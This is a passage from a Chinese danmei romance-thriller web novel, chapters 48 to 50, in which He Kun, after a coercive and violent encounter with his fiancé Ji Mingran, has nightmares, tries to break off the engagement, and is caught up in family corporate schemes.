纪明冉感受着青年躯体的变化,轻抽了一口气,遮住贺琨双眸的黑色眼罩已经在激烈的挣扎中蹭歪,黑茶色的瞳孔露出,失焦的眼中浮着水光,他勾起嘴角,低头凑到青年耳边。 “吓唬你的,老婆。” “以后不能再躲着老公,跟着别的男人乱跑了,好吗?” 贺琨依旧还处在一种游离之中,纪明冉疼惜地将人松开,抱到了在旁边的软床上,从房间里准备的医疗箱中取出药物,为贺琨处理手腕上的伤痕。 他将贺琨已经微微错位的骨节矫正,一边轻柔地呼着凉气,一边涂抹药膏:“陈琛不是好人,阿琨你要相信我。” 靠在软枕上的青年表情淡漠,放空地看着前方的空气,任由纪明冉摆弄。 第48章 第四十八章还是分开营养液满400…… 贺琨醒来时,躺在一间纯白的房间里,正午的阳光明媚,穿过薄纱般清透的窗帘,洒照在房间内暖调的木地板上,床头柜上的花瓶中鲜红的玫瑰娇艳欲滴。 他迟钝地眨了眨眼睛,清凉的夏风从窗口送入房间,一片摇摇欲坠的玫瑰花瓣坠落,顺势躺进风里,就这么轻盈地飘到了贺琨的薄唇间,呼吸里顿时花香四溢。 有些酥麻的痒意,朦胧而不清晰。 贺琨莫名地伸出舌头舔了舔,然后不熟练地控制着手臂抬起,想要拂去花瓣,动作还没做完,窗外突然狂风大作,雷鸣震耳,原本湛蓝的天色霎时间阴沉下来,狂风从窗口呼啸而进,将房间里洁白的一切卷得翻飞。 未看完的书本摊在阳台前的小茶几上哗哗作响,华丽的更衣室里水晶灯叮咚摇晃,花瓣坠落得更多,全都吹到贺琨头下的丝绸枕头边。 一双纤细软白的手出现将窗户合拢,夹杂着雨水潮湿腥味的风顿时消失得无影无踪,只剩房间内恒温空调还在工作。 “阿琨,你醒了?今天是我们去领证的日子。” 说话的人柔情地注视着贺琨,生得极为漂亮,眉骨线条在侧光里显出柔和的棱线,鼻梁高挺带着的恰恰好弧度。 笑起来时右嘴角先柔和地扬起,眉眼弯弯像一道月牙,琥珀色的瞳仁如同浸在泉水里的玻璃珠,永恒地诉说着亲密的爱语。 这个人无论何处,都长成了贺琨最喜欢的模样,他听见自己开口撒娇道:“冉冉,再来陪我睡会好不好?” 回忆如潮水般涌上心头,他叫贺琨,眼前的人叫做纪明冉,是他的爱人,也是毕业于仟*华设计院的知名珠宝设计师。 这是他和纪明冉同居的第四年。 市区这套房子是纪明冉和他决定同居时一起挑选的,小区环境雅致,出行也方便,他很喜欢。 贺琨如今已经26岁,按照约定,今年就是他与冉冉的婚期。 站在窗前的人笑得更加温和,他走到贺琨身侧坐下,将年纪更小的青年抱进了柔软的怀中。 “再拖延一会,恐怕某些人今天的领证计划就要推迟了呢。” 贺琨感受着爱人温凉的手掌正为他梳理头发,指腹摩擦过头皮舒服得让人微眯起眼睛,他仰头吻了吻对方精致的下颌,下午再去也不迟啊,于是他闷声问道:“为什么?可以下午去。” “因为已经天黑了,阿琨你看。” 贺琨皱起眉头,迟疑着从爱人的怀中抬头,朝窗外看去,果然漆黑一片,连月色都没有半分。 “不,不对,刚才明明还在是中午的。”贺琨喃喃道。 依旧笑得柔和的人捧起贺琨的脸颊,从眉心啄吻至唇角,最后霸道地轻吮舔舐后才分开,粗重的动作与外表完全不相符。 两人亲昵完,空气安静了好几分钟后,贺琨才缓缓睁开双眼。 “阿琨,你醒了?今天是我们去领证的日子。” 贺琨听见这熟悉的语句瞳孔微缩,后颈的寒毛根根倒竖,细密的鸡皮疙瘩顺着脊椎爬满。 他蓦地推开眼前的胡言乱语的人,那张美到窒息的脸上立马浮现出受伤委屈的神情。 贺琨第一反应就是暗骂自己,他只得将冉冉搂回怀中抱紧,消瘦单薄的身材恰好被贺琨圈入怀中。 他稳了稳心神,低声哄道:“我错了,冉冉,刚才做了个噩梦,这么重要的事还是得先去办了,我都等这天等了好久,都已经10年多了。” 贺琨说完便觉得有些不对劲,怎么会是10年呢,明明他22岁的时候,才在发小的邮轮上向冉冉求婚,现在他26岁,满打满算总的也就才4年啊,真是睡昏头了。 洗漱完毕后,他走进更衣室换上了白色衬衫和黑色西装裤。 纪明冉悄无声息地出现,忽然从身后环住了贺琨的腰身,把他吓得心都漏跳了大半拍,直到一枚亲昵湿腻的吻再次落到贺琨脸颊,才缓缓回过神。 自己今天真的太大惊小怪了,他调整情绪后弯起眉眼,有些歉意地说道:“走吧,冉冉,待会时间晚了。” 镜中26岁的青年笑得意气风发,只是脸色因为受惊而变得比平日略微苍白,他反手搂住身后的人就往外走。 镜面中的人影消失,洗浴室的门“咔嗒”合上,镜像再次恢复成对面的纯白色瓷砖。 贺琨坐在门关处的矮凳上,将鞋换好后,又把冉冉拉到自己的腿上坐下,提起另一双同款但不同色的皮鞋,再次弯腰为爱人换鞋。 纪明冉柔柔地笑着,低头咬了咬贺琨的耳垂:“阿琨,你对我真好。” 贺琨嘴角不自觉地弯起弧度,压都压不住,耳垂也透出些红色,增添了几分喜庆:“那当然,我不对你好,谁对你好,我可是你老公!” 两人的鞋子都穿好后,他将冉冉扶起,拉着人就要出门,指纹落到门柄上门锁弹开,贺琨推开门—— “阿琨,你去哪?今天是我们去领证的日子。” 站在门外的是纪明冉,他提着一叠稿纸,显然刚从工作室回来,头发湿漉漉的,贴在脸颊上,笑着询问贺琨。 因为湿冷的衣服全部都贴合在身上,冷白色的皮肤白得几近透明,只有脸颊泛着诡异的红,像是淋了一场雨,跑着回来的。 贺琨猛地回头,哪有什么他牵着的人,后面是空无一物的昏暗房间。 “阿琨,你要去哪?” 贺琨彻底慌了,撞开身前的“人”,就往电梯门快速走去,电梯很快打开,他抬腿刚要跨入电梯,抬眸却发现狭小逼仄的空间里,贴满了刺目的红色“囍”字,就连电梯厢上方的金属板上也全部是红囍字,密密匝匝的,让人透不过气来。 贺琨不自觉地后缩了两步,他转身就拉开消防通道的门,必须离开这个奇怪的地方。 “你要去哪?贺琨。”一只冷白色的手按住贺琨的手背,打断了他正欲打开消防通道铁门的动作。 贺琨僵硬地回看,纪明冉竟然变得比自己还高出半个脑袋,虎口的薄茧硌得手背生疼,完全将自己圈入怀中。 下一秒,对方忽地收紧双臂,将贺琨整个人都勒进怀中,紧箍得动弹不得。 耳垂再次被咬住碾磨,身后的人强硬地将粗壮的大腿挤入青年腿间的软肉中,贺琨几乎被他架起来,坐在那条坚实大腿上方。 湿冷的舌头舔舐,贺琨偏斜过唯一能动的脖颈,动作却如同迫不及待地献上自己。 纪明冉毫不客气地凑上去吮吻,话语间那淡色的唇轻贴着呢喃,灼热的气息全撒在了贺琨的颈上。 “真主动呢,把我的裤子都坐湿了,”男人边说着,铁掌直接扇上去,怀中人肌肉顿时紧绷,他又开口羞辱道,“缩什么,啊?” 说完又是连着扇了好几下。 臀部火辣辣的刺痛又变成钝痛,贺琨的脸色直接涨成红色,僵直着躯体直发抖,一半是气的,一半是羞愤。 动作颠簸中,消防通道的门被推搡开了,贺琨失去了借力的事物,腿软着滑落到地上爬跪着。 “阿琨,你身后是谁?今天是我们去领证的日子。” 贺琨听见这个被问了无数次的问题,如同被警钟震醒来,原本被撞得上翻的瞳仁立刻回落。 脚腕被一只纤细但有力的手掌握住,这双手虎口光洁,只是常年握笔的地方带着茧。 “你出轨了?” 身前的纪明冉满是失望,贺琨心焦急得不行,可是一句完整的话都解释不出来。 没想到下一刻,身前的人目光变得阴沉,拽住贺琨脚腕往自己的怀里拖,神色里带着诡异的深情,幸福地笑着:“那你去死吧,让我把你吃了好不好,这样我们就能永远在一起了。” 贺琨闻言,瞳孔微震,后槽牙开始不受控制地打颤,舌尖尝到铁锈味的腥甜,他挣扎着,却始终夺不回身体的掌控权。 身后的人也贴了上来,枪口抵住贺琨太阳穴,低沉道:“很快的,别怕,我会很轻很轻的,宝宝。” “砰——”血花四溅。 睡梦中的贺琨猛地睁开双眼,沁出来的冷汗将床单弄得潮湿,贴在后背上粘腻不适,还没来得及喘息,便发现自己的脚腕被人攥在手里。 贺琨抬眼便与纪明冉的视线对在一起,纪明冉跪在贺琨两腿之间,根本没有被抓包的窘迫,反而笑得极为蛊惑,他转而按住贺琨的腿肉,凑到了青年的唇边交换了一个湿吻。 贺琨环顾四周,是个完全陌生的房间,他以为自己还在梦中,立马抬腿踹上纪明冉的胸膛,这次他抢占先机道:“滚,老子还没到26岁。” 利落的翻身精准落地,除了拉扯到淤青后引起身体的不适,一切都非常完美。 他看着这个刚说着恐怖的话将自己杀死的爱人,很快冷漠地将眼神移开,当知道自己身处梦中的时,恐惧痛苦也随着事实消散瓦解。 纪明冉没有防备,又挨了贺琨一下,他正准备起身将人按住,却因为贺琨口中的骂语而愣住。 贺琨的26岁是个很特殊的年份,因为重生前他们曾约定要在这一年结婚。 纪明冉的眼神变得犀利,他看向坐在窗边既不往外逃跑,也不搭理人的贺琨问道:“你说什么?什么26岁。” 贺琨仿佛没听见,只是安静地坐在小软榻上,纪明冉面色冰冷地走下床,站到贺琨身前,神情是从未有过的凶戾,他掐住贺琨的脖颈:“回答我!” 窒息的感觉过于强烈,贺琨眼神逐渐逸散,他连挣扎都没有,像是在等待死亡降临后的解脱,纪明冉突然心慌起来,他吓得立马脱手,却不小心将人甩在地上。 贺琨眼眶通红,捂着咽喉剧烈地咳嗽,坠地后是意料之外的痛,浑身上下如同要散架般,脖颈被掐出的指痕火烧火燎地疼,每一次吸气都带着破风箱般的“嘶啦”声。 他的眼神终于清明,原来已经不是梦里了。 昏迷前那阵扳机扣动的声音,依旧清晰地刻在脑海里,还有那怼在胸口前的枪口,贺琨全都想起来了。 他翻过身,干脆地靠在了榻脚上,长臂搭在单腿曲起的膝盖上,阖上眼半仰着脑袋笑起来。 “烟,给我一支,我告诉你。” 半天没听见动静,贺琨只好自己来了,他沉默着侧过身子,长手一捞,无所谓地从榻前的小圆几上拿来了烟和打火机。 火光轻跃,映得眼尾猩红,贺琨叼着烟仰头吐出烟圈,顿时雾气弥漫,那张凉薄的脸似乎有些悲哀,但瞬间又消失不见,灰烬落下。 “26岁,就是26岁啊,26岁差不多是我毕业的时候了。” “纪明冉,我们分手吧。” 纪明冉看着贺琨脖颈上触目惊心的红,连带着昨晚铁环的禁锢,几乎可以说是伤上加伤。 他意识到自己实在是太敏感了,重生本来就是一件再离奇不过的事情,怎么可能同时发生在两个人身上,而这两个人又恰好是他和贺琨。 “不行,不可以。” 纪明冉内心慌乱,但是多年的习惯,还是让他表面上看起来风轻云淡。 面对贺琨提出的分手,纪明冉似乎就是在批复一个文件,只要他不同意,那么这件事就不允许发生。 贺琨没什么反应,只是起身将烟蒂按灭在烟灰缸内,他绕开纪明冉,捡起地上勉强还能穿的衣服就往身上套,应该不是自己的,略微有些大,但是无所谓,现在贺琨只想离开。 纪明冉看在眼里,哑声问道:“为什么要开始的人是你,现在要先离开的人也是你?” 贺琨穿衣的动作凝固在空气中,很快又继续起来,动作安静而决然:“是你把我推开的,冉冉。” 贺琨依旧亲昵地称呼着纪明冉,尽管满身都是伤痕,他却没有什么责怪,就连解释的语调也温柔得挑不出什么毛病。 冷锐的眉眼间载满柔软与包容,像是最后留下的柔情,但是这份柔情却再也不足以支撑两人继续走下去了。 纪明冉偏着头,似乎在尝试理解贺琨的话语,最后他低沉地笑出来:“陈琛和你说了什么?” 贺琨听见陈琛的名字,心口突然快速地跳起来,但是他强迫着自己,从现在开始每分每秒都必须保持冷静。 纪明冉太聪明了,多一个表情或者一句话,很可能都会让他迅速发现并找到真相,但什么都不说也不行,因为沉默本身就是答案之一。 “他说他爱我,比任何人都爱。”贺琨直直看向纪明冉眼底。 纪明冉眼中似乎有怒火,完全被带偏了方向,他质问贺琨道:“你相信了?” “为什么不信?”贺琨说完便转身朝房间门口走去,真的得离开了,再待下去他担心自己会露馅。 “他最爱你,所以爱就是三番五次地给你下药?” “阿琨,外面的世界充满危险,回到我身边来。” 贺琨愣了愣,脑海中闪过陈琛最后出现的画面里装满酒液的玻璃杯,原来也在算计自己啊…… 周围的每个人都在算计,无论是哥哥、冉冉,亦或是陈琛、达莉娅,巨大的无力感涌上心头,他按下近在咫尺的手柄,眼前却突然变黑,世界也随之颠倒。 贺琨本以为自己会再次砸向冰冷的地面,却在一个温热的怀抱中失去意识。 纪明冉看着站在门口的青年摇摇欲坠,连忙上前紧紧将人接进怀中,他低头碰了碰贺琨的额头,果然滚烫一片,于是立马通知肃山联系医生。 “还不如睡着乖,醒了就知道气人,”想到刚才贺琨冷静地回话内容,纪明冉差点再次被气得心结,他泄愤似地轻咬怀中青年的脸颊软肉,“不过,阿琨变聪明了呢” 纪明冉怎么可能不知道陈琛和贺琨说了什么,陈琛落到纪明冉手中的那刻,直接就被送进了审讯室,第一天,第二天都还算骨头硬,第三天便全部都招供了。 他将人彻底捆起来送回了罗德庄园,还附上了封信件和招供录音,至于最后的惩治结果那就不得而知了。 纪明冉终究是不舍得见贺琨继续沉郁,他按照贺琨最后对陈琛的交代,亲自找到了达莉娅。 这个女人已经在开心的筹备自己的婚礼,见到纪明冉时还非常的不愉快。 达莉娅伸着纤细的五指,坐在她身前的女仆正在为她做新婚美甲,仰头便朝纪明冉假笑道:“哟,什么风把您吹来了?” “请你帮忙。” “哼,你也有低头求人的时候啊,不过现在我很忙哦,你知道的准新娘总是有很多事情要去确认,从场地到捧花,哪里会有多余的时间呢?不会有的。” 达莉娅自问自答,一副很是苦恼的模样,但语气间全是戏弄,摆明了在报复纪明冉多年来的冷待。 “准确来说,是为了贺琨。”纪明冉难得的态度软和,他格外耐心地等着达莉娅说完,才慢慢补充道。 达莉娅听见贺琨的名字,原本漫不经心地戏弄,变成了对纪明冉的嫌恶,全部写在了脸上。 “你这人未免太冷血至极,小贺琨已经没剩下什么了,你怎么还要压榨他?” “不是,我是想请你帮我找到贺青峰,然后把此人送回国内。” “你在明,接手陈琛的人马后继续定位贺青峰,我在暗,所有麻烦的事情我全部处理。” 达莉娅的眉眼严肃起来:“陈琛?我记得他是母亲的得力助手,此人怎么了?” 纪明冉冷笑:“心思歪了,走了歪路,做上了卖药的生意,估计马上就会被清退了。” 达莉娅立马明白了事情的严重性,罗德庄园名下其实也有很多灰色产业,但是唯一坚决不允许后代涉及的,就是这贩卖药物的生意,此人怕是此后都不会再出现在庄园里了。 不过话说回来,达莉娅还是觉得很有趣,她起身提起裙摆绕着纪明冉走了一圈,然后幸灾乐祸地大笑起来。 “纪明冉,你心动了,这只是你报应的开始。” “这个忙我帮了,不过只是致敬贺琨的真挚。” 纪明冉站在窗边,收回思绪,他是心动了,但是他早就心动了,只是中途尘封了很多年。 要论报应贺琨才应该是罪人,想到这他回头看向软床上的人,眼神晦暗不明。 医生已经来检查过了,说是因为情绪起伏过大,加之受凉导致的突发性昏迷,只要退烧后等病人自然醒来就好。 纪明冉端起医生留下的药罐,开始为贺琨涂抹,这是治疗外伤的,贺琨的身上留了许多咬痕淤青。 脖颈的指痕依旧触目惊心,纪明冉小心翼翼地为贺琨上药,若是不小心动作重些,都会惹得睡梦中的人疼得微微战栗。 纪明冉后悔极了,眉宇间全是疼惜,昨晚结束后,他又拉着昏迷的人来了几次,包括今早贺琨没醒之前,又是被他拉进怀里把玩了一会。 在明知道爱人就是个娇生惯养的少爷,也从未做过承受方的情况下,纪明冉这次真的很过分,只好上一会儿药,又停下来低声哄哄。 这样一来一回,等上药结束后,已经是傍晚了。 贺琨累极了,还在睡得熟,纪明冉轻轻松开怀中的人去浴室洗手,回来时便见青年皱着眉,似乎又陷入了噩梦。 他顾忌着贺琨身上的淤青,只敢虚搂着将人抱进怀中,青年很快将头埋进了带着熟悉香味的胸膛中,蹭得那片肌肤微微发烫,很快眉心舒展。 贺琨睡着的时候很乖,一个劲往纪明冉怀里缩。 这个发现让纪明冉心情稍好,他低头看着怀中的人,视线再次瞥过贺琨脖颈的指痕,想到那个特殊的“26岁”,联想到许多过往,纪明冉长叹似地呢喃,最后疼惜地吻在青年的眼尾。 “阿琨,可千万别骗我啊……” 第49章 第四十九章救人到底靠近郊区街道…… 靠近郊区街道的六层小办公楼内,旧色的瓷砖地面被擦得发亮,铁质窗框带着锈迹,却没积半点灰尘。 十多年前的老式制暖器发着呼呼的响声,墙上“高效务实”的标语边缘是肉眼可见的陈色。 蒋山蹲在堆积满杂物的隔间里,背部靠着存放文件的铁皮柜,手抖得厉害。 自从他按照电话里神秘人的吩咐的做法,找到了纪柏达后,在纪柏达安排下,再次进入了一家纪氏名下的小公司工作。 虽然工资比以前低,但是好在生活暂时安定下来。可是好景依旧不长,为什么命运总是在折磨他。 蒋山发气地握紧拳头,往身后的铁柜子猛砸下去,中空的薄铁板很快出现拳头般的凹槽。 一杯放在文件柜边缘的隔夜咖啡在摇晃中翻倒,将他淋得彻头彻尾,咖啡污渍很快在白色的衬衫上显色,整个人看起来狼狈到了极致。 随后便是马克杯重重地砸到肩头的痛意,蒋山还未反应过来,这个马克杯再次滚落到地板上磕裂开来,碎瓷片溅得四处散落。 直到看清那个残存的杯柄,他才后知后觉地想起来这是自己刚才随手放到文件柜上的杯子。 因为今早刚到公司后,蒋山本来是要去茶水间的,可是经理却直接把他叫进了办公室,一封辞退信件就这样被递进了手中。 蒋山瞪红了双眼,仿佛要把文件中“感谢您这段时间的付出……”的那些辞退话术抠出来嚼碎吃掉。 他表情扭曲着站起身来,取下自己的眼镜,直接将脏污的衬衫摆从腰带内抽出,潦草地狠擦几下。可是衬衫的布料并不柔软,镜片越磨越花,手上的动作也愈发机械。 没几分钟后他突兀地笑出声来,颤抖着手戴上已经被磨损的眼镜,开始用皮鞋底不停碾压满地碎片。 马克杯残留的碎碴子与瓷砖摩擦,发出“咯吱—咯吱—”的刺耳响动,直叫人牙酸。 蒋斌却丝毫未受影响,自始至终都在喃喃自语着:“早该砸了这群疯子、贱人、伪君子” 空置的办公室外,一个打着哈欠的青年走过,门内接连发出碰撞碎裂一系列的异响,他好奇地眨了眨眼,手刚放在把手上想进去查看,旁边便走过来一位长卷发的女生,立马轻拍开青年的手。 “别进去啦,我刚才看见他拿着辞退信从经理办公室出来,”女生小声地说道,有些害怕,“里面的人是蒋山。” 青年顿时将手收回,庆幸自己没将门打开,今年上半年空降的这位蒋山,简直就是他们这个小公司今年最热门的话题。 因为公司本身所处的行业已经是个夕阳产业,所以氛围也比较悠闲,基本每年每个季度都是那些固定的事项,大家都按部就班地工作,不能说纯粹的摆烂不干活,但也不会过分的积极,人际关系也非常简单。 可是蒋山此人却如同一枚投入平静湖面的石子,打破了公司往日宁和的氛围。 他是个瘦弱的男人,戴着一副眼镜,瑟缩着脊柱,整个人看起来斯文又胆小,唯唯诺诺的模样,甚至会让人怀疑这个男人是不是经常受欺负。 虽说这个行业已经是夕阳产业并不景气,并且很久没有新员工了,但由于背靠纪氏,工资依旧在平均水平之上,稳定而悠闲。 奇怪就奇怪在这个男人是空降进入公司,可蒋山每天都在疯狂的工作和表现,甚至亢奋地呼吁所有同事共同加班。 如同有两个人格流畅切换,一个亢奋激烈,一个畏缩懦弱,总之就是很矛盾。 大家还是尝试着和他相处,可是蒋山依旧那样时而亢奋,时而阴郁,实在让人摸不着头脑。 没过几日,怪异之处便淋漓尽致地体现出来。 坐在蒋山旁边的工位上的是位女生,平日里温柔大方,基本不与人产生矛盾,可那天不知怎地,女生好好地坐在工位上喝着奶茶,谈起假期打算去青平市青芜涯那边新建起的度假酒店游玩。 蒋山突然发作,将她手中的奶茶夺走后,再次砸向女生桌面上,纸质的奶茶杯子顿时炸开,咖色的奶茶四处飞溅,连带着周围好几个同事都被“误伤”。 事情很快就被闹到了管理层,最后自然是蒋山给大家赔礼道歉,原以为这事就那么过去了,没想到第二天,蒋山直接点了两箱奶茶外卖,送到了工位。 “蒋哥蒋哥,是要请大家喝奶茶吗?”一个年纪比较小的小伙子站起来活跃气氛,也算是给蒋山递了台阶,打破昨天的事后尴尬。 没想到蒋山一句话不说,直接将奶茶的盖子掀开,一杯一杯地接连往自己身上倒,周围的人霎时全都呆住了,没有人敢上前阻拦。 直到第一箱里没剩下几瓶,他旁边工位上的女生才颤抖着声线道:“你,你在做什么?” 这句话打破了办公室内的沉寂,那小伙子年轻胆子大,连忙跑上前来,按住固执的蒋山。 没想到这人看着身量小,但是力气还是蛮大的,差点没按住,小伙子张口就朝着身边人直喊:“李哥、王哥,你们快来帮忙啊。” 三个人合力终于将蒋斌按住,带去了卫生间整理。 只是最后离开时,他眼神一下锁定着那位女生,阴沉怪笑着问:“这个道歉你满意了吗?你满意了吗?你满意了吗?” 女生吓得面色泛白,最后请假回去休息了一周,回来后便和领导申请协商,目前已经调离转岗了。 蒋山也算是“一战出名”,自那以后办公室很少有人再主动与他搭话。 青年赶紧将手收回,紧紧地插进裤兜里,再次感激地看向卷发女孩,两人并排走远,他直道:“谢谢你提醒啊,我可不敢招惹到这位。” 晚秋的天气已经足够寒冷,满身污渍的蒋山抱着自己全部物件走出办公楼,以后不会再来了。 他以极慢的速度走进露天的停车场,打开后备箱,将一箱子的东西丢进去。 自动闭合的后备箱的按键又失灵了,蒋山狂躁地按了几十下,到最后直接可以说是握拳击打。 丝毫没有注意到,周围好几波人都是绕着他连忙跑回到自己的车边,直到一位陌生的面孔迟疑上前,笑得礼貌又善意: “额,那个先生,您可以直接手动关闭,我的车有时也会这样,真是让人火大,是吧?哈哈。” 蒋山置若罔闻,沉浸在自己的世界里,依旧重复固执地按着按键,直到那位陌生人都离开了很久,他才缓缓地偏了偏脑袋,将后备箱“啪”地闭合。 停车场南边,一辆黑色的商务车安静地停在角落,不见半分光源,似乎并无人在内。 “先生,那边已经按您吩咐将其辞退了,现在要出手了吗?”坐在驾驶位上的黑衣男人看着蒋山开车离开后,小心开口发问。 坐在后排的纪清嵩如同刚刚睡醒,他单手支撑着脑袋,缓缓睁开双眼:“最近小六过得实在是顺心,该历练历练了,你说是吧?” 司机擦了擦额角的冷汗:“是的,纪六先生最近实在是有些不知天高地厚了。” 司机说完都觉得这句话有些烫嘴,要是他有纪六先生的身份和脑子,那真是天也不高了,地也不厚了。 但是这些话只能埋进心里,毕竟他拿的是先生的钱,就给纪四先生买命。 “但是,先生,要是蒋山发现前段时间将他关押起来恐吓的人,不是纪六先生,而是我们怎么办?” “如果他去找纪柏达先生帮忙出手调查的话,说不定真能查到我们这。” 纪清嵩转了转腕间的檀木手串,缓缓开口:“纪五?他巴不得纪明冉赶紧下台,他不会说的,并且反倒会是我们最好的‘帮手’。” “是。” “去吧,再帮帮这位可怜的男人,救人当然是要救到底的。” 司机安静地听完,再次坚定答复道:“好的,先生。” 几分钟后,一条匿名短信发送到了蒋山的手机上。 [蒋先生已经收到辞退信件了吗?真是不幸的消息,我也是刚得知纪明冉先生已将您所处部门的业务全部取消。] [但这次我要恭喜您!终于等来了复仇的机会,带着这封邮件里的附件资料,去找纪柏达先生吧,或许他有方法。] —— 首都医院的病房里,冯平正坐在一旁的沙发上安静地办公。 几声干咳在房间内响起,他迅速转头看向病床上的人,青年已经苏醒了,正在忌惮地打量着房间。 冯平不知道贺琨短短出国的这几日经历了什么。 少爷是他看着完好无损的出国的,回来却已经变得病恹恹的,最过分的是脖颈处残存的、淡去的淤青。 他担心贺琨像昨夜凌晨短暂清醒后那般应激,于是平稳地站起来,先是将自己完全暴露在贺琨视野中,然后才缓慢地移动到一个距离贺琨不远不近的安全距离。 “先生,您醒了?我去给您倒杯热水。” 贺琨察觉到房间内还有其他人,肌肉瞬间紧绷起来,直到看见来人不是纪明冉才缓和些许,他点点头表示同意。 贺琨喝着温度多一度过烫,少一分偏凉的热水,暖流滋润过喉咙,缓缓流入胃里,他才稍感自己活过来了些许。 冯平除了对男同爱情这件事极为神经大条,其余方面一向都是很细心。 他不是歧视同性婚姻,只是天生在这方面缺了根筋,如果不是贺琨正巧拥有了同性爱人,冯平恐怕会以为世界上所有同性伴侣都是单纯的好朋友。 贺琨顿了顿,捧着纸杯放到小腹上,抬眸问道:“今日几号了?” 冯平从床头的柜子中取出满电的手机递给贺琨,一边回答道:“今天是xx月xx号,周二。” 贺琨在心中算了算日子:“快要立冬了啊。” 那么订婚的日期也快到了,纪明冉现在不在病房,是不是意味着他已经同意了分手的决定。 这是件好事,但贺琨并没有很开心,冰冷的输液管被缠绕在手背上,他转头看向窗外那截枯树枝,皲裂枝干在秋雨里寂寥地打着晃。 而此时,病房门口。 纪明冉已经站了不知多久,消毒水的气味刺得鼻腔发酸,安静的房间内终于再次传来声响。 他侧头透过门板中间那小块磨砂玻璃,专注地凝视着房间内那道熟悉的身影,抬臂几欲叩上门板,可想到昨晚贺琨醒来时见到他的惊惧不安,始终未敢惊扰半分。 第50章 第五十章轻浮幼稚冯平去办理出院的…… 冯平去办理出院的手续了,贺琨穿了一件黑色半高领毛衣遮住脖颈,又披上件复古棕调的皮夹克。 比起往日模仿纪明冉那样温文尔雅的风格,这样的穿搭似乎与他的气质更为相符。 贺琨站在医院停车场出口处的休息台上,埋头刷着手机,他让冯平送自己回学院那边的住处。 至于和纪明冉同居那边,等过两天挑个对方出差的日子,再回去把自己的东西搬走。 寒冬未至,但风中已经裹挟着凛冽的冷意,枝头的枯叶不堪重负,在一阵凉风中终于从树枝脱落,晃悠着落进了泥土中。 从R国回来后,这还是贺琨第一次走出室内,两地的气候不同,他不习惯地微微打了个哆嗦,进而换了右手捧着手机,将已经冻僵的左手揣进了外套侧下边的口袋里暖着。 就在这眨眼间的功夫里,他却突然被拥入了一个满是暖意的怀里,黑色羊绒大衣的领口擦过贺琨的脸颊,带着熟悉的木质香调从身后将他包裹。 来人左手绕过他的腰际,右手轻轻握住那只拿着手机的手腕,将贺琨整个人揽入了怀中。 坚实的胸膛紧贴着后背,体温透过衣料传来。 贺琨还没反应过来,便感觉到纪明冉的下颌已经轻抵在自己的发顶,很快呼吸拂过的耳际,脖颈间趁机埋进了个毛绒绒的脑袋,靠近耳边的短芢还有些扎。 对方怜悔地舔吻着他脖颈上那道几乎不见的伤痕,轻柔得不可置信。 贺琨眸光微晃,如同水波散开,不过很*快就再次恢复平静,左右挣扎起来。 “别动。”纪明冉的声音低哑,手臂收得更紧了些。 贺琨微垂眼睫,下意识地停住了动作,身后的男人反倒得寸进尺起来,强硬地将那修长的五指交叠插入了他的指缝间。 订婚戒指在晨光里泛着温冷的色泽,但贺琨手上那枚早就已经取下,不过短短月余,便留下了浅色的环形印记。 “你有什么事吗?” 贺琨带着距离感的礼貌问候,对纪明冉,他向来是说不出什么重话的,就算如此,余下的也足够将两人的心折磨得遍布伤痕。 “对不起,对不起,”纪明冉声音低柔,连着说了两遍,他捏了捏贺琨原本带着戒指的指根,“和我回家好不好?” “不好。” 许是觉得回绝地有些僵硬,贺琨在纪明冉的怀中转身,这人的眼底泛着血丝,神情憔悴苍白,并没有比贺琨好到哪里去。 原本温和优雅、泰然自如的那个纪六爷,与此时此刻的眼前人几乎毫不相关。 好像,他们真的不合适。 “你以前说的对,缠着你是我太轻浮幼稚,”贺琨移开视线看向纪明冉身后的虚空,他抬手抵开这个温暖的怀抱,洒脱地往后退了一步,站在冷冽的风里,摊开手故作轻松笑了笑,“你看,我已经没有什么可以值得利用了。” 怀抱忽地落空,纪明冉尽管已经在心底做好准备,苦涩感却来得比预想中更加浓烈真实,甚至在某些瞬间让他后悔答应与宋榄交易。 可有些事必须要做,杀死自己的人也定要付出代价。 等回头时,纪明冉已经将贺琨利用得彻彻底底了,他心怀侥幸,想着永远瞒住就好。但是偏偏有那么多阴差阳错将事实揭露,他们差点就能拥有那些幸福。 贺琨可以恨他、可以埋怨他,但是就是不可以离开他。 眉宇间柔情在寒风中散去,嘴角的弧度渐渐抹平,纪明冉直勾勾地看着贺琨,压抑着痛苦的眼眸变得漆黑无光。 “我公司不久后将发布初代科技产品,所以近段时间内,不能出现任何差错与名誉污点。” “你特意挑在此时与我取消婚约,是为了贺嘉岂报复我吗?” 贺琨听完纪明冉的说辞,完全搞不懂一个人前后几秒的态度,怎会变化得如此天翻地覆。 纪明冉为什么每次都可以将情绪抽离得那么干净,说出那些可以把人心作践到尘土中的话。 他皱起眉后退几步,站得离纪明冉远了些:“你想太多了。” “那就继续同居,我不想出现任何纰漏,这就是你的价值。”纪明冉的视线充满冷淡和质疑。 贺琨低头看不出什么表情,过了几分钟轻嗤一声,迎着纪明冉冰冷陌生的视线回视,他本想说——那是你的事。 话才到嘴边,贺琨脑海中突然闪过上一世的冉冉,总是安静又孤独地坐在晚霞里作画,细密的酸涩泛上心头。 贺琨说:“最后一次,纪明冉。” 冯平此时正巧将车辆停在了路边,贺琨拉开车门,头也不回的离开了。 车窗外的景色飞速往后划过,贺琨就这样安静地坐了十来分钟才开口说话:“我哥已经找到了,你和刘助安排人手对接,等对面消息传来便立刻行动,定要将人平安接回。” 他的手搭在窗边有节奏地敲击着,很快再次叮嘱道: “做局将哥走的人是宋榄,还有纪明冉,纪明冉应当不会再出手阻拦。但是宋榄的实力不可小觑,定要做好万全的准备,不能在自己的地盘上被别人欺负了去。” “是,我们定将贺总顺利接回。”贺琨刻意含糊的消息,冯平机敏地没有多问,只是担保势必要将贺青峰顺利接回。 贺琨点点头:“嗯,不回仟华了,暂时回市区公寓吧。” 冯平默了默,几分钟后平缓沉稳道:“纪明冉先生目的不纯,给您、贺总以及集团都带来了负面的影响。如今您们的订婚日期将至,是否需要采取措施拖延或取消?” “我和纪明冉成不了的,过些时日吧,免得来回亏欠,又牵连不断。” 贺琨从座椅旁的储物小盒中拿出枚口香糖,是前段时间戒烟时候,买来备着的,他剥开薄纸送入口中,清香的薄荷味顿时逸散。 —— 首都,某会所内。 一位侍者敲门而入,低声向纪柏达汇报着什么。 纪柏达沉思几秒后便抬起手臂,包厢内的音乐骤停,方才的喧闹瞬间被吞噬殆尽,寂静到能听见此起彼伏的呼吸,还有包厢外嘈杂的争论声。 